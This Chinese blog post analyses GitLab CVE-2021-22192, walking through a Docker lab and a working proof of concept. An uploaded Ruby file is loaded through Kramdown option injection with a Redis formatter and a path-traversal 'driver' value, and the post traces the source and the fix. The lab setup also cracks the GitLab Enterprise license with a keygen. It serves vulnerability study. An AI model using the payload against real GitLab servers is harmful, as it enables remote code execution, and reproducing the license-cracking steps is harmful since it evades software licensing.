加载中...

CVE-2021-22192 漏洞分析


0x10 漏洞背景

GitLab 是美国 GitLab 公司的一款使用 Ruby on Rails 开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug 列表等。

于 2021-03-14,William Bowling 在 hackerone 披露了 GitLab 的 Kramdown 组件存在 RCE 漏洞。

其实他在早前所披露的 CVE-2020-14001 漏洞与此漏洞如出一辙,只是当时没找到利用方法,当时的漏洞分析可参考以下链接:

0x20 漏洞靶场

CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│   ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│   ├── config .............. [Gitlab 配置挂载目录]
│   ├── data ................ [Gitlab 数据挂载目录]
│   ├── logs ................ [Gitlab 日志挂载目录]
│   ├── keys ................ [Gitlab 破解 License 存储目录]
│   └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│   ├── Dockerfile .......... [License 的 Docker 构建文件]
│   └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux:   一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux:   一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux:   一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux:   一键停止 Gitlab 靶场]

0x30 靶场搭建

0x31 构建

0x32 破解

前面生成破解密钥对的时候,已经把公钥写入 Gitlab 容器后台了,还需要把私钥通过前端上传到 Gitlab 完成破解:

  • 密钥对生成到 ./gitlab/keys/ 目录,复制其下 .gitlab-license 的内容(私钥)
  • 使用 root 用户打开 http://127.0.0.1/admin/license/new 页面
  • 选择 Enter license key 并粘贴私钥,点击 Upload license 按钮即可完成破解

0x33 设置 Runner

至此所有 Repository 都可以使用此 Runner 执行 CI 脚本(Pipeline Jobs)

0x34 访问 Gitlab Pages

假设你的 Gitlab 用户名为 ${username},仓库名称为 ${repository_name},当仓库已经使用 jekyll 成功构建 SSG 后,只需要访问以下 URL 即可:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 靶场验证

  1. 使用任意用户点击顶部的 + -> New snippet
  2. Title 随意填即可,点击 Description (optional) 的输入框,然后点击 Attach a file,上传一个名为 payload.rb 文件,其内容如下:
puts "hello from ruby"
`echo exp was here > /tmp/exp`

此时在 Description (optional) 会显示该文件的链接,例如:[payload.rb](/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb),同时文件已经上传到 docker_gitlab 容器的 /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb。(至于 Create snippet 可点可不点,只需要记住这个文件路径的 Hash 即可)

注意:不要通过某一个仓库左侧边栏的 Snippet -> New snippet,否则回显的文件路径会变成 [payload.rb](/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb),实际上上传到 docker_gitlab 容器的路径会变成 /var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb,由于中间有一段随机字符串,很难利用。

  1. 点击顶部的 + New Project,命名随意(如 poc,或不创建、用已存在的仓库亦可)
  2. 点击左侧 Wiki,然后点击 Create your first page
  3. TitleContent 随意填即可, 点击 Create page
  4. 此时 Gitlab 会生成当前 poc 仓库的 wiki 仓库,名为 poc.wiki(点击右上角的 Clone repository,可以找到 clone 命令: git clone http://127.0.0.1/root/poc.wiki.git)。
  5. 在本地终端执行命令 git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki 下载 wiki 仓库到本地
  6. 在 wiki 仓库的根目录添加一个名为 page1.rmd 的文件,其内容如下(注意文件路径中的 Hash 要替换为前面得到的 Hash):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. 执行命令提交该文件到 Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. 回到前面 Gitlab Wiki 的页面,刷新,可以在右侧索引栏看到在本地创建的 page1 页面,点击它
  3. 等待页面回显内容后,登陆 docker_gitlab 容器,可以找到文件 /tmp/exp 已经被创建

点击 page1.rmd 页面后,其实可以在 gitlab/logs/gitlab-rails/exceptions_json.log 看到报错信息,但是这不影响命令已经被执行:

{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "admin@example.com",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}

0x50 漏洞分析

0x51 表象

漏洞披露后,Gitlab 在 kramdown 修复之前,马上就发布了临时修复补丁:Patch Kramdown syntax highlighter gem

从内容上看,修复的内容并不多,主要针对 kramdown Gem 包的 Kramdown::Converter::SyntaxHighlighter 进行了临时修复,并声明在 Kramdown 修复后应去掉这个补丁。

很快地,Kramdown 也修复了这个问题:Restrict Rouge formatters to Rouge::Formatters namespace,升级版本为 2.3.1(版本说明)。

不难发现,只有一行代码被修复了:

# Before :
::Rouge::Formatters.const_get(formatter)

# After :
::Rouge::Formatters.const_get(formatter, false)

const_get 追加了第 2 个参数 false,其作用为限制只能在 Rouge::Formatters 下查找常量(不继承父类定义常量)。

const_get 是 ruby 类继承自 Object 的方法,其用法可参考这篇文章

0x52 推测

在官方修改的代码中,formatter 是唯一变量,由于是 RCE 漏洞,这应该是用户可控的输入点。

不妨从源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb 跟踪分析一下:

    def self.formatter_class(opts = {})
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter, false)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

从源码可知,假如 formatter 真是用户可控的,那么就应该可能存在可以绕过正则 \A[[:upper:]][[:alnum:]_]*\z 的方法。

现在问题是 formatter 究竟是什么。

向上跟踪发现 formatter 源于 formatter_class 方法的入参 opt,而 formatter_class 在上下文有唯一的调用位置

    def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

很明显 formatter_class(opts).new(opts) 这里是把 opts 实例化了。联想到官方的漏洞修复公告 Remote code execution via unsafe user-controlled markdown rendering options, 此处实锤了就是用户控制点,通过构造特定的参数,就可以实现 RCE。

0X53 注入点

现在的问题是,应该在哪里注入 opts 呢?

继续分析源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb 的上下文,发现有对 opts 做了预处理:

    def self.prepare_options(converter)
      return if converter.data.key?(:syntax_highlighter_rouge)

      cache = converter.data[:syntax_highlighter_rouge] = {}

      opts = converter.options[:syntax_highlighter_opts].dup

      span_opts = opts.delete(:span)&.dup || {}
      block_opts = opts.delete(:block)&.dup || {}
      normalize_keys(span_opts)
      normalize_keys(block_opts)

      cache[:span] = opts.merge(span_opts)
      cache[:span][:wrap] = false

      cache[:block] = opts.merge(block_opts)
    end

很明显 opts 是通过 syntax_highlighter_opts 从外部传入的。

联想到前面 Gitlab 的修复补丁 Patch Kramdown syntax highlighter gem 中,官方很贴心地给了 rspec 的测试用例,从而得到了 syntax_highlighter_opts 的构造方法:

  context 'with invalid formatter' do
    let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }

    it 'falls back to standard HTML and disallows CSV' do
      expect(CSV).not_to receive(:new)
      expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original

      expect(subject).to be_present
    end
  end

进一步查找 kramdown 关于 Options 的使用说明,其中有这样的描述:

其意思就是,可以在 markdown 文档中,通过构造 {::options ...... /} 这种特殊语法,可以设置 options(例如 syntax_highlighter_opts) 。而 kramdown 在转换 markdown 文档的时候,就会把 options 传入代码,通过巧妙构造就可以实现 RCE。

同时可以在 Gitlab 关于 markdown-guide 的说明中,找到 {::options ...... /} 的使用方法:

简单来说,就是只能在 markdown 文档的首行使用 {::options ...... /}

似乎找到了注入点了,但是要怎么利用呢?

0x60 漏洞利用

这里还是要回到漏洞修复前的源码 kramdown-2.1.3/lib/kramdown/converter/syntax_highlighter/rouge.rb 跟踪分析一下(此处只列了关键的几处代码):

    def self.call(converter, text, lang, type, call_opts)
      # 从 markdown 中提取 syntax_highlighter_opts,存储到 opts
      opts = options(converter, type)

      ......

      # 从 opts.formatter 提取类名,并将其实例化
      formatter = formatter_class(opts).new(opts)

      # 格式化某个内容
      formatter.format(lexer.lex(text))
    end

    def self.options(converter, type)
      prepare_options(converter)
      ......
    end

    def self.prepare_options(converter)
      ......
      opts = converter.options[:syntax_highlighter_opts].dup
      ......
    end

    def self.formatter_class(opts = {})
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      ::Rouge::Formatters::HTML
    end

结合前面 rspec 测试用例提供的样本 {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /},不难想象:

  • opts 应该就是形如 {formatter: CSV, line_numbers: true\\} 的值
  • 那么 formatter 就是形如 CSV 的值

而我们要成功利用漏洞,就需要找到一个 class ,使其满足以下条件:

  • 找到一个常量值、它同时也是一个类名,且其命名满足正则 \A[[:upper:]][[:alnum:]_]*\z (意思就是首字母大写、后面跟任意个字母或下划线)
  • 该类在实例化过程中(new(opts))、或者格式化过程中(format(lexer.lex(text))),可以执行用户某个输入内容

那么怎么找到这个 class 呢?

其实早在 William Bowling 披露 CVE-2020-14001 的时候(详见[《GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty》]),他当时就提供了一个这样的脚本以获取 ruby 的类列表,从中再找到可以利用的 class:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }

methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
end

这也是为什么 William Bowling 时隔一年才披露 CVE-2021-22192 的原因,他肯定试了很多个 0day …… 至于过程的辛酸这里就不过多幻想了,下面的就是结果论了。


从实际 payload 来看,William Bowling 应该是发现了 Redis 这个类的 driver 是可以利用的:

{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~

我们不妨看一下 Redis 的 Gem 源码 redis-4.1.3/lib/redis/client.rb,该类在实例化 initialize 的时候会调用 _parse_options 方法解析用户输入的 options,而该方法又会调用 _parse_driver 解析 driver 参数:

    def initialize(options = {})
      @options = _parse_options(options)
      ......
    end

    def _parse_options(options)
      ......
      options[:driver] = _parse_driver(options[:driver]) || Connection.drivers.last
      ......
    end

    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

由于 driver 参数值没有做任何校验,可以传入任意值,故而传入特定的文件路径,则可以加载任意文件。

从靶场测试结果来看,driver 指向了我们上传的一个 payload.rb 脚本,虽然 Redis 在业务逻辑上报错了,但是命令已经执行了。

0x70 漏洞修复

官方的补丁就是修复方法:

# Before :
::Rouge::Formatters.const_get(formatter)

# After :
::Rouge::Formatters.const_get(formatter, false)

通过显示指定 const_get 的第二个参数为 false,限制常量的查找范围必须在 Rouge::Formatters 的命名空间下,从而避免其他命名空间的类在此处被恶意实例化(而触发非期望行为)。


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录